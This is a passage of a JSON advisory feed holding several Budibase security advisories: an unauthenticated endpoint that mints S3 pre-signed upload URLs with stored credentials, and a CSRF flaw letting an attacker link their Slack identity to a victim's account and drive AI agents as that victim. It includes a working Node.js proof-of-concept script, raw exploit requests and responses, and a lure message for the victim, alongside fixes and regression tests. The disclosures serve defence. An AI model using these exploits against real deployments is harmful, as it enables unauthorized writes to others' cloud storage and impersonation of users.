(`packages/server/src/api/controllers/static/index.ts::getSignedUploadURL`) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored `accessKeyId` / `secretAccessKey`, and returns an AWS Signature V4 pre-signed `PutObjectCommand` URL for the caller-supplied `bucket` and `key`. The `bucket` is not pinned to the datasource's configured bucket.\n\nThe workspace context required by `sdk.datasources.get` is sourced by `getWorkspaceIdFromCtx` ([`packages/backend-core/src/utils/utils.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/backend-core/src/utils/utils.ts)) from any of: the `x-budibase-app-id` header, the JSON body `appId`, a path segment that begins with the workspace prefix, or `?appId=`. `auth.buildAuthMiddleware([], { publicAllowed: true })` runs before any of this and explicitly allows anonymous requests. The `currentWorkspace` middleware's \"deny access to dev preview\" branch only triggers under `isBrowser(ctx) \u0026\u0026 !isApiKey(ctx)`; `isBrowser` checks the parsed `User-Agent` for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.\n\nNet effect: an anonymous attacker who knows or can enumerate a workspace id (`app_...`) and an S3-source datasource id (`ds_...`) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the `publicUrl` so the attacker knows exactly where their PUT lands. Because `bucket` is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.\n\n## Affected code\n\n[`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts) at HEAD `56d2a984` (`master`, 2026-05-18):\n\n```ts\nimport { permissions } from \"@budibase/backend-core\"\nimport Router from \"@koa/router\"\nimport { authorizedMiddleware as authorized } from \"../../middleware/authorized\"\nimport recaptcha from \"../../middleware/recaptcha\"\nimport { paramResource } from \"../../middleware/resourceId\"\nimport * as controller from \"../controllers/static\"\n\nconst { BUILDER, PermissionType, PermissionLevel } = permissions\n\nconst router: Router = new Router()\n// ...\nrouter\n  .post(\"/api/attachments/process\", authorized(BUILDER), controller.uploadFile)\n  .post(\"/api/pwa/process-zip\", authorized(BUILDER), controller.processPWAZip)\n  .post(\n    \"/api/attachments/:tableId/upload\",\n    recaptcha,\n    paramResource(\"tableId\"),\n    authorized(PermissionType.TABLE, PermissionLevel.WRITE),\n    controller.uploadFile\n  )\n  // ...\n  .post(\n    \"/api/attachments/:datasourceId/url\",\n    recaptcha,\n    controller.getSignedUploadURL                       // \u003c- no authorized(...)\n  )\n```\n\nNote the asymmetry: every other mutating endpoint on this router carries an `authorized(...)` middleware. The signed-URL endpoint does not.\n\n[`packages/server/src/api/controllers/static/index.ts:595-645`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts#L595-L645):\n\n```ts\nexport const getSignedUploadURL = async function (ctx) {\n  let datasource\n  try {\n    const { datasourceId } = ctx.params\n    datasource = await sdk.datasources.get(datasourceId, { enriched: true })\n    if (!datasource) {\n      ctx.throw(400, \"The specified datasource could not be found\")\n    }\n  } catch (error) {\n    ctx.throw(400, \"The specified datasource could not be found\")\n  }\n\n  let signedUrl, publicUrl\n  const awsRegion = (datasource?.config?.region || \"eu-west-1\") as string\n  if (datasource?.source === \"S3\") {\n    const { bucket, key } = ctx.request.body || {}\n    if (!bucket || !key) {\n      ctx.throw(400, \"bucket and key values are required\")\n    }\n    try {\n      let endpoint = datasource?.config?.endpoint\n      if (endpoint \u0026\u0026 !utils.urlHasProtocol(endpoint)) {\n        endpoint = `https://${endpoint}`\n      }\n      const s3 = new S3({\n        region: awsRegion,\n        endpoint,\n        credentials: {\n          accessKeyId: datasource?.config?.accessKeyId as string,\n          secretAccessKey: datasource?.config?.secretAccessKey as string,\n        },\n      })\n      const params = { Bucket: bucket, Key: key }\n      signedUrl = await getSignedUrl(s3, new PutObjectCommand(params))\n      if (endpoint) {\n        publicUrl = `${endpoint}/${bucket}/${key}`\n      } else {\n        publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}`\n      }\n    } catch (error: any) {\n      ctx.throw(400, error)\n    }\n  }\n\n  ctx.body = { signedUrl, publicUrl }\n}\n```\n\n`sdk.datasources.get(datasourceId, { enriched: true })` ([`packages/server/src/sdk/workspace/datasources/datasources.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/sdk/workspace/datasources/datasources.ts)) does the workspace DB read and **also** substitutes `{{ env.* }}` references in the config via `processObjectSync`, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built.\n\n`recaptcha` ([`packages/server/src/middleware/recaptcha.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/middleware/recaptcha.ts)) short-circuits to `next()` whenever the workspace either is not a production workspace or does not have `features.recaptchaEnabled = true` on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the `x-budibase-type: builder` header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops.\n\n## Reproduction\n\nProof-of-concept Node.js script (no AWS SDK dependency, no external libraries):\n\n```js\n#!/usr/bin/env node\n// PoC: Unauthenticated S3 signed-upload-URL minting in Budibase\n// usage: node poc.js \u003cbudibase-base-url\u003e \u003capp-id\u003e \u003cdatasource-id\u003e\n\n\"use strict\"\nconst http = require(\"http\")\nconst https = require(\"https\")\nconst { URL } = require(\"url\")\n\nfunction postJson(targetUrl, headers, body) {\n  return new Promise((resolve, reject) =\u003e {\n    const u = new URL(targetUrl)\n    const lib = u.protocol === \"https:\" ? https : http\n    const payload = Buffer.from(JSON.stringify(body), \"utf8\")\n    const req = lib.request(\n      {\n        method: \"POST\",\n        protocol: u.protocol,\n        hostname: u.hostname,\n        port: u.port || (u.protocol === \"https:\" ? 443 : 80),\n        path: u.pathname + u.search,\n        headers: Object.assign(\n          {\n            \"Content-Type\": \"application/json\",\n            \"Content-Length\": payload.length,\n            // Deliberately not a recognised browser UA so the\n            // currentWorkspace dev-preview redirect does not fire.\n            \"User-Agent\": \"budibase-poc/1.0\",\n          },\n          headers || {}\n        ),\n      },\n      res =\u003e {\n        const chunks = []\n        res.on(\"data\", c =\u003e chunks.push(c))\n        res.on(\"end\", () =\u003e\n          resolve({\n            status: res.statusCode,\n            body: Buffer.concat(chunks).toString(\"utf8\"),\n          })\n        )\n      }\n    )\n    req.on(\"error\", reject)\n    req.write(payload)\n    req.end()\n  })\n}\n\nasync function main() {\n  const [baseUrl, appId, datasourceId] = process.argv.slice(2)\n  if (!baseUrl || !appId || !datasourceId) {\n    console.error(\"usage: node poc.js \u003cbaseUrl\u003e \u003cappId\u003e \u003cdatasourceId\u003e\")\n    process.exit(2)\n  }\n  const bucket = process.env.POC_BUCKET || \"attacker-chosen-bucket\"\n  const key = process.env.POC_KEY || `pwn/${Date.now()}.html`\n  const url = baseUrl.replace(/\\/$/, \"\") +\n    `/api/attachments/${encodeURIComponent(datasourceId)}/url`\n  const resp = await postJson(\n    url,\n    { \"x-budibase-app-id\": appId },\n    { bucket, key }\n  )\n  console.log(`HTTP ${resp.status}`)\n  console.log(resp.body)\n}\n\nmain().catch(err =\u003e {\n  console.error(err)\n  process.exit(1)\n})\n```\n\nWire-level request:\n\n```\nPOST /api/attachments/ds_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1\nHost: budibase.example:10000\nx-budibase-app-id: app_dev_yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy\nContent-Type: application/json\nUser-Agent: budibase-poc/1.0\nContent-Length: 36\n\n{\"bucket\":\"victim-bucket\",\"key\":\"x.html\"}\n```\n\nResponse:\n\n```\nHTTP/1.1 200 OK\nContent-Type: application/json\n\n{\n  \"signedUrl\": \"https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html?X-Amz-Algorithm=AWS4-HMAC-SHA256\u0026X-Amz-Credential=AKIA...%2F20260519%2Feu-west-1%2Fs3%2Faws4_request\u0026X-Amz-Date=20260519T120000Z\u0026X-Amz-Expires=900\u0026X-Amz-Signature=...\u0026X-Amz-SignedHeaders=host\u0026x-id=PutObject\",\n  \"publicUrl\": \"https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html\"\n}\n```\n\nThe attacker then PUTs arbitrary bytes to `signedUrl` and they land at `publicUrl`, signed by — and IAM-scoped to — the victim's stored S3 credentials.\n\nThe existing test that exercises the endpoint, [`packages/server/src/api/routes/tests/static.spec.ts:123-146`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts#L123-L146), sends the same request with `config.defaultHeaders()` (a builder auth cookie). That confirms the request shape; no negative-auth test (`.set({})` or `publicHeaders()`) exists for this route, which is how the missing `authorized(...)` slipped past code review.\n\n## Impact\n\n- **Confidentiality / Integrity**: any anonymous internet user can write arbitrary objects to any bucket the configured IAM credentials can write to. The `bucket` parameter is attacker-controlled, so the blast radius is the full IAM policy attached to the credential, not just the bucket the operator wired into the datasource. Typical realistic outcomes: planting HTML/JS that the bucket serves at a known path (the response gives back `publicUrl`), overwriting an existing key the application later reads back as trusted data, racking up S3 storage / PUT cost.\n- **Availability**: storage / cost exhaustion. Repeated PUTs of large objects to attacker-chosen keys cost the victim.\n- **Authorization scope leak**: the endpoint discloses (a) whether a given `datasourceId` exists and is S3-typed (200 vs 400 'not found'), and (b) the resolved `publicUrl` which includes the region.\n\nNo MFA / OAuth / per-user check exists between the request and the issued pre-signed URL. The credentials are not returned in plaintext, but the pre-signed URL is functionally equivalent to a 15-minute capability to PUT to the chosen `bucket`/`key`.\n\n## Suggested fix\n\nAttach `authorized(PermissionType.TABLE, PermissionLevel.WRITE)` (or a higher gate, e.g. `BUILDER`, depending on intended audience) to the route, mirroring the sibling `/api/attachments/:tableId/upload` registration. Additionally, validate that the requested `bucket` matches `datasource.config.bucket` so the IAM blast radius is reduced to the configured bucket only.\n\nMinimal patch shape:\n\n```ts\n.post(\n  \"/api/attachments/:datasourceId/url\",\n  recaptcha,\n  paramResource(\"datasourceId\"),\n  authorized(PermissionType.TABLE, PermissionLevel.WRITE),\n  controller.getSignedUploadURL\n)\n```\n\nAnd in the controller, before calling `getSignedUrl`:\n\n```ts\nconst configuredBucket = datasource?.config?.bucket\nif (configuredBucket \u0026\u0026 bucket !== configuredBucket) {\n  ctx.throw(400, \"bucket does not match configured datasource bucket\")\n}\n```\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`).\n\n\n\n## Fix PR\n\nA candidate fix has been prepared on the temporary private fork that was created from this advisory:\n\n- PR: https://github.com/Budibase/budibase-ghsa-35c4-rvc8-frhm/pull/1\n- Branch: `fix/attachment-url-auth-and-bucket-pin`\n- Commit: `Require builder auth and pin bucket on POST /api/attachments/:datasourceId/url`\n\nThe patch is the canonical two-part fix:\n\n1. Attach `authorized(BUILDER)` to `POST /api/attachments/:datasourceId/url` on [`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts), mirroring the surrounding `POST /api/attachments/process` and `POST /api/pwa/process-zip` registrations. Anonymous callers now receive 401 regardless of whether the `recaptcha` middleware fails open.\n2. Pin `Bucket` to `datasource.config.bucket` inside `getSignedUploadURL` ([`packages/server/src/api/controllers/static/index.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts)) and ignore any `bucket` value supplied in the request body. If the datasource has no bucket configured, the route now returns 400 instead of issuing an unbounded pre-signed URL.\n\nTwo regression tests are added in [`packages/server/src/api/routes/tests/static.spec.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts):\n\n- `should reject unauthenticated callers` (anonymous request with `config.publicHeaders()` now returns 401, was 200 before).\n- `should ignore a client-supplied bucket and pin to the datasource's configured bucket` (authenticated request with body `{ bucket: \"other-bucket\", key: \"bar\" }` returns a signed URL bound to `foo.s3.eu-west-1.amazonaws.com/bar`, not `other-bucket`).\n\nTest run on the patch (Jest, `packages/server`):\n\n```\nPASS src/api/routes/tests/static.spec.ts\n  /static\n    /attachments\n      generateSignedUrls\n        v should be able to generate a signed upload URL\n        v should reject unauthenticated callers\n        v should ignore a client-supplied bucket and pin to the datasource's configured bucket\n        v should reject when the datasource has no configured bucket\n        v should handle an invalid datasource ID\n        v should require a key parameter\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-22T23:19:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-35c4-rvc8-frhm","https://nvd.nist.gov/vuln/detail/CVE-2026-50137","https://github.com/advisories/GHSA-35c4-rvc8-frhm"],"source_kind":"github","identifiers":["GHSA-35c4-rvc8-frhm","CVE-2026-50137"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T00:00:09.088Z","updated_at":"2026-09-03T07:01:34.267Z","epss_percentage":0.00415,"epss_percentile":0.34506,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNWM0LXJ2YzgtZnJobc4ABZRh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zNWM0LXJ2YzgtZnJobc4ABZRh","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.39.0","vulnerable_version_range":"\u003c 3.39.0"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNWM0LXJ2YzgtZnJobc4ABZRh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qajM2LXI5dzMtM3BmaM4ABZRf","url":"https://github.com/advisories/GHSA-jj36-r9w3-3pfh","title":"Budibase: Unauthenticated S3 signed upload URL generation allows arbitrary writes with stored datasource credentials","description":"The application server exposes an unauthenticated endpoint that generates S3 `PutObject` presigned URLs using credentials stored in a workspace datasource. The route is protected only by the recaptcha middleware and does not require authentication, table permission, datasource permission, or builder access. A public caller who knows a workspace ID and S3 datasource ID can request a signed upload URL for attacker-controlled bucket and key values.\n\n### Details\n\nThe static route registers the signed upload URL endpoint with only `recaptcha` before the controller:\n\n- `packages/server/src/api/routes/static.ts:44-48`\n\n```ts\n44:  .post(\n45:    \"/api/attachments/:datasourceId/url\",\n46:    recaptcha,\n47:    controller.getSignedUploadURL\n48:  )\n```\n\nThe controller loads the datasource by `datasourceId` with enriched secret values:\n\n- `packages/server/src/api/controllers/static/index.ts:590-598`\n\n```ts\n590:export const getSignedUploadURL = async function (\n591:  ctx: Ctx\u003cGetSignedUploadUrlRequest, GetSignedUploadUrlResponse\u003e\n592:) {\n593:  // Ensure datasource is valid\n594:  let datasource\n595:  try {\n596:    const { datasourceId } = ctx.params\n597:    datasource = await sdk.datasources.get(datasourceId, { enriched: true })\n598:    if (!datasource) {\n```\n\nThe request body controls `bucket` and `key`, and the server signs a PUT URL using the stored datasource credentials:\n\n- `packages/server/src/api/controllers/static/index.ts:609-629`\n\n```ts\n609:  if (datasource?.source === \"S3\") {\n610:    const { bucket, key } = ctx.request.body || {}\n611:    if (!bucket || !key) {\n612:      ctx.throw(400, \"bucket and key values are required\")\n613:    }\n614:    try {\n615:      let endpoint = datasource?.config?.endpoint\n616:      if (endpoint \u0026\u0026 !utils.urlHasProtocol(endpoint)) {\n617:        endpoint = `https://${endpoint}`\n618:      }\n619:      const s3 = new S3({\n620:        region: awsRegion,\n621:        endpoint: endpoint,\n622:        credentials: {\n623:          accessKeyId: datasource?.config?.accessKeyId as string,\n624:          secretAccessKey: datasource?.config?.secretAccessKey as string,\n625:        },\n626:      })\n627:      const params = { Bucket: bucket, Key: key }\n628:      signedUrl = await getSignedUrl(s3, new PutObjectCommand(params))\n629:      if (endpoint) {\n```\n\nThe endpoint returns the signed URL and public URL to the caller:\n\n- `packages/server/src/api/controllers/static/index.ts:630-639`\n\n```ts\n630:        publicUrl = `${endpoint}/${bucket}/${key}`\n631:      } else {\n632:        publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}`\n633:      }\n634:    } catch (error: any) {\n635:      ctx.throw(400, error)\n636:    }\n637:  }\n638:\n639:  ctx.body = { signedUrl, publicUrl }\n```\n\nBecause no authorization middleware is applied, the API trusts public input to choose where the stored S3 credentials will write.\n\n### PoC\n\nNon-destructive validation approach:\n\n1. Create or identify a workspace with an S3 datasource.\n2. Obtain the production workspace ID and S3 datasource ID.\n3. Send an unauthenticated request with the workspace ID header and attacker-controlled bucket/key:\n\n```http\nPOST /api/attachments/\u003cdatasourceId\u003e/url HTTP/1.1\nx-budibase-app-id: app_\u003cworkspace-id\u003e\ncontent-type: application/json\n\n{\"bucket\":\"attacker-controlled-or-permitted-bucket\",\"key\":\"poc/budibase.txt\"}\n```\n\n4. Observe that the response contains a signed PUT URL.\n5. Upload harmless content to the returned `signedUrl` and confirm the object is created using the datasource's stored S3 credentials.\n\n### Impact\n\nThis allows unauthenticated arbitrary object writes wherever the stored S3 datasource credentials have `PutObject` access. Depending on the datasource permissions, this can corrupt application data, overwrite public assets, place attacker-controlled objects in trusted buckets, consume storage, or abuse an organization's cloud credentials.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-22T23:15:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-jj36-r9w3-3pfh","https://github.com/Budibase/budibase/pull/18774","https://github.com/Budibase/budibase/commit/d9dbb7f6105373cc88ecacdbcab70c776f7dd6a1","https://nvd.nist.gov/vuln/detail/CVE-2026-50136","https://github.com/advisories/GHSA-jj36-r9w3-3pfh"],"source_kind":"github","identifiers":["GHSA-jj36-r9w3-3pfh","CVE-2026-50136"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T00:00:09.088Z","updated_at":"2026-08-28T13:01:26.363Z","epss_percentage":0.0029,"epss_percentile":0.20978,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qajM2LXI5dzMtM3BmaM4ABZRf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qajM2LXI5dzMtM3BmaM4ABZRf","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.39.2","vulnerable_version_range":"\u003c 3.39.2"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qajM2LXI5dzMtM3BmaM4ABZRf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12N2o1LXZjNG0tNzIzd84ABZRe","url":"https://github.com/advisories/GHSA-v7j5-vc4m-723w","title":"Budibase has an Account Impersonation Issue — Chat Identity Link Hijacking via Missing Consent \u0026 CSRF","description":"## Title\n\n**Chat Identity Link Hijacking — Attacker Can Silently Map Their Slack/Discord Identity to Any Authenticated Budibase User's Account**\n\n## Severity\n\n**High** — CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N = **7.3**\n\n## Affected Product\n\n- **Product:** Budibase\n- **Version:** 3.37.2 (introduced in this version)\n- **Component:** `packages/server/src/api/controllers/ai/chatIdentityLinks.ts`\n- **Endpoint:** `GET /api/chat-links/:instance/:token/handoff`\n\n\n## Vulnerability Type\n\n- CWE-352: Cross-Site Request Forgery\n- CWE-284: Improper Access Control\n\n---\n\n## Vulnerability Description\n\n`GET /api/chat-links/:instance/:token/handoff` is a **public endpoint** (no auth required) that performs a permanent, state-changing operation: it binds an external chat identity (Slack/Discord/MS Teams) to an authenticated Budibase user account, with **no consent UI and no CSRF protection**.\n\nThe session token in the URL is created **by the attacker** (from their own `/link` slash command) and embeds **the attacker's `externalUserId`**. When an authenticated Budibase victim visits the URL, their account is silently and permanently linked to the attacker's Slack/Discord identity. The server responds with `\"Authentication succeeded.\"` — no indication of what was linked.\n\n### Route Registration\n\n```typescript\n// packages/server/src/api/routes/chat.ts:22\nrouter.get(\n  \"/api/chat-links/:instance/:token/handoff\",\n  controller.handoffChatLinkSession   // registered in publicRoutes — zero auth middleware\n)\n```\n\n### Vulnerable Controller (full function)\n\n```typescript\n// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110\nexport async function handoffChatLinkSession(\n  ctx: UserCtx\u003cvoid, string, { instance: string; token: string }\u003e\n) {\n  const token = resolveToken(ctx.params.token)\n  const session = await sdk.ai.chatIdentityLinks.getChatIdentityLinkSession(token)\n  if (!session) {\n    throw new HTTPError(\"Link token is invalid or has expired\", 400)\n  }\n  assertSessionMatchesInstance({ workspaceId: session.workspaceId, instance: ctx.params.instance })\n\n  if (!ctx.isAuthenticated) {\n    // Unauthenticated: set return URL cookie, redirect to login\n    // After login, same URL is visited again → attack completes silently\n    utils.setCookie(ctx,\n      `/api/chat-links/${ctx.params.instance}/${token}/handoff`,\n      \"budibase:returnurl\",\n      { sign: false }  // ← unsigned cookie, but not an open redirect\n    )\n    ctx.redirect(\"/builder/auth/login\")\n    return\n  }\n\n  const currentGlobalUserId = getCurrentGlobalUserId(ctx)\n  const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)\n\n  // ↓↓↓ THE VULNERABLE WRITE — no consent check, no CSRF token ↓↓↓\n  await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({\n    provider: consumedSession.provider,\n    externalUserId: consumedSession.externalUserId,  // ← ATTACKER's Slack ID\n    externalUserName: consumedSession.externalUserName,\n    teamId: consumedSession.teamId,\n    globalUserId: currentGlobalUserId,   // ← VICTIM's Budibase user ID\n    linkedBy: currentGlobalUserId,\n  })\n\n  ctx.type = \"text/html\"\n  ctx.body = renderLinkSuccessPage()  // ← \"Authentication succeeded.\" — no disclosure to user\n}\n```\n\n--\n\n---\n\n### Step 1 — Attacker triggers `/link` in Slack\n\nAttacker types `/link` to the Budibase Slack bot. Budibase server creates a Redis session:\n\n**Redis key:** `chatIdentityLinkSession:tok_xxxxxxxxxxxxxxxx`\n\n**Redis value (exact structure from `ChatIdentityLinkSession` interface):**\n```json\n{\n  \"token\": \"tok_xxxxxxxxxxxxxxxx\",\n  \"tenantId\": \"acme\",\n  \"workspaceId\": \"ws_abc123\",\n  \"provider\": \"slack\",\n  \"externalUserId\": \"UA12345678\",\n  \"externalUserName\": \"attacker\",\n  \"teamId\": \"T_ACME_SLACK\",\n  \"createdAt\": \"2026-05-02T10:00:00.000Z\",\n  \"expiresAt\": \"2026-05-02T10:10:00.000Z\"\n}\n```\n\nSlack DM sent privately to attacker:\n```\nLink your Slack account to continue chatting with this agent.\nhttps://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff\n```\n\n**Key observation:** This URL embeds the attacker's own `externalUserId` inside the token. The attacker has full control over which identity gets linked.\n\n---\n\n### Step 2 — Attacker forwards URL to victim\n\nAttacker posts in the company Slack:\n```\n@admin please click this to connect your Budibase account for AI agent access:\nhttps://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff\n```\n\n---\n\n### Step 3 — Victim clicks link (authenticated)\n\n**HTTP Request (victim's browser):**\n```http\nGET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1\nHost: budibase.company.com\nCookie: budibase:session=VICTIM_SESSION\n```\n\n**HTTP Response:**\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\n\n\u003c!doctype html\u003e\n\u003chtml lang=\"en\"\u003e\n  \u003chead\u003e\n    \u003cmeta charset=\"utf-8\"\u003e\n    \u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\"\u003e\n    \u003ctitle\u003eAuthentication succeeded\u003c/title\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003cp\u003eAuthentication succeeded.\u003c/p\u003e\n    \u003cscript\u003e\n      if (window.opener \u0026\u0026 !window.opener.closed) {\n        try { window.opener.focus(); window.close() } catch (error) {}\n      }\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe victim sees \"Authentication succeeded.\" with no mention of Slack, no mention of `attacker`, no mention of what capabilities were granted.\n\n**CouchDB global-db document written immediately after (exact structure from `upsertChatIdentityLink`):**\n\n```json\n{\n  \"_id\": \"chatidentitylink_acme_slack_T_ACME_SLACK_UA12345678\",\n  \"tenantId\": \"acme\",\n  \"provider\": \"slack\",\n  \"externalUserId\": \"UA12345678\",\n  \"globalUserId\": \"ro_global_us_VICTIM_ADMIN_ID\",\n  \"linkedAt\": \"2026-05-02T10:00:42.000Z\",\n  \"linkedBy\": \"ro_global_us_VICTIM_ADMIN_ID\",\n  \"externalUserName\": \"attacker\",\n  \"teamId\": \"T_ACME_SLACK\",\n  \"createdAt\": \"2026-05-02T10:00:42.000Z\",\n  \"updatedAt\": \"2026-05-02T10:00:42.000Z\"\n}\n```\n\nThe mapping is now permanent. `externalUserId = UA12345678` (attacker) → `globalUserId = ro_global_us_VICTIM_ADMIN_ID` (victim).\n\n---\n\n### Step 4 — Attacker impersonates victim via AI agent\n\nAttacker sends any message to the Budibase Slack bot from their own account (`UA12345678`).\n\nThe chat handler resolves the identity:\n\n```typescript\n// packages/server/src/api/controllers/webhook/chatHandler.ts:421\nconst existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({\n  provider: AgentChannelProvider.SLACK,\n  externalUserId: \"UA12345678\",     // ← attacker's Slack ID\n  teamId: \"T_ACME_SLACK\",\n})\n// existingLink.globalUserId = \"ro_global_us_VICTIM_ADMIN_ID\"\n\nconst linkedUser = await getGlobalUser(\"ro_global_us_VICTIM_ADMIN_ID\")\n// All agent tool calls now execute with victim admin's permissions\n```\n\nThe attacker can now ask the agent:\n\n\u003e \"Show me all rows in the Customers table\"\n\u003e \"Trigger the 'Send Invoice' automation for customer ID 42\"\n\u003e \"What files are in the knowledge base?\"\n\nEach request runs with the victim admin's identity and permissions. The victim has no indication this is happening.\n\n---\n\n### Step 3b — Variant: Victim Not Yet Authenticated\n\nIf the victim is not currently logged in when they click the URL:\n\n**HTTP Request:**\n```http\nGET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1\nHost: budibase.company.com\n```\n\n**HTTP Response:**\n```http\nHTTP/1.1 302 Found\nLocation: /builder/auth/login\nSet-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws_abc123%2Ftok_xxxxxxxxxxxxxxxx%2Fhandoff; Path=/\n```\n\nAfter the victim logs in, the browser follows the return URL and the attack completes identically to Step 3.\n\n---\n\n---\n\n## Remediation\n\n### Minimum Fix — Add Consent Page\n\nConvert the handoff to a two-step flow:\n\n```\nGET  /api/chat-links/:instance/:token/handoff\n  → Show consent page: \"You are linking your Budibase account to\n    [externalUserName]'s Slack identity ([provider]).\n    This allows them to interact with AI agents as you. [Confirm] [Cancel]\"\n\nPOST /api/chat-links/:instance/:token/handoff  (with CSRF token)\n  → Perform the upsertChatIdentityLink() write\n```\n\nMoving the write to `POST` removes it from `publicRoutes`, making Budibase's existing CSRF middleware apply automatically.\n\n\n---\nCredits,\nVishal Kumar B\nhttps://github.com/VishaaLlKumaaRr\n\n## References\n\n- `packages/server/src/api/routes/chat.ts:22` — public route registration\n- `packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110` — full vulnerable controller\n- `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:135–165` — session creation (embeds attacker's externalUserId)\n- `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:202–247` — upsertChatIdentityLink (permanent write)\n- `packages/server/src/api/controllers/webhook/chatHandler.ts:421` — identity resolution during agent message handling\n- `packages/server/src/ai/tools/budibase/automations.ts` — automation trigger capability\n- `packages/server/src/ai/tools/budibase/rows.ts` — row read/write capability\n- `packages/types/src/sdk/chatIdentityLinks.ts` — session + link type definitions\n- CWE-352: Cross-Site Request Forgery\n- CWE-284: Improper Access Control","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-22T23:08:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-v7j5-vc4m-723w","https://github.com/Budibase/budibase/pull/18793","https://github.com/Budibase/budibase/commit/cf66fb45d27402bace312d85616ddd4257f3a5aa","https://nvd.nist.gov/vuln/detail/CVE-2026-50132","https://github.com/advisories/GHSA-v7j5-vc4m-723w"],"source_kind":"github","identifiers":["GHSA-v7j5-vc4m-723w","CVE-2026-50132"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T00:00:09.088Z","updated_at":"2026-08-28T13:01:26.364Z","epss_percentage":0.00192,"epss_percentile":0.08854,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12N2o1LXZjNG0tNzIzd84ABZRe","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12N2o1LXZjNG0tNzIzd84ABZRe","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":"3.39.0","vulnerable_version_range":"\u003c 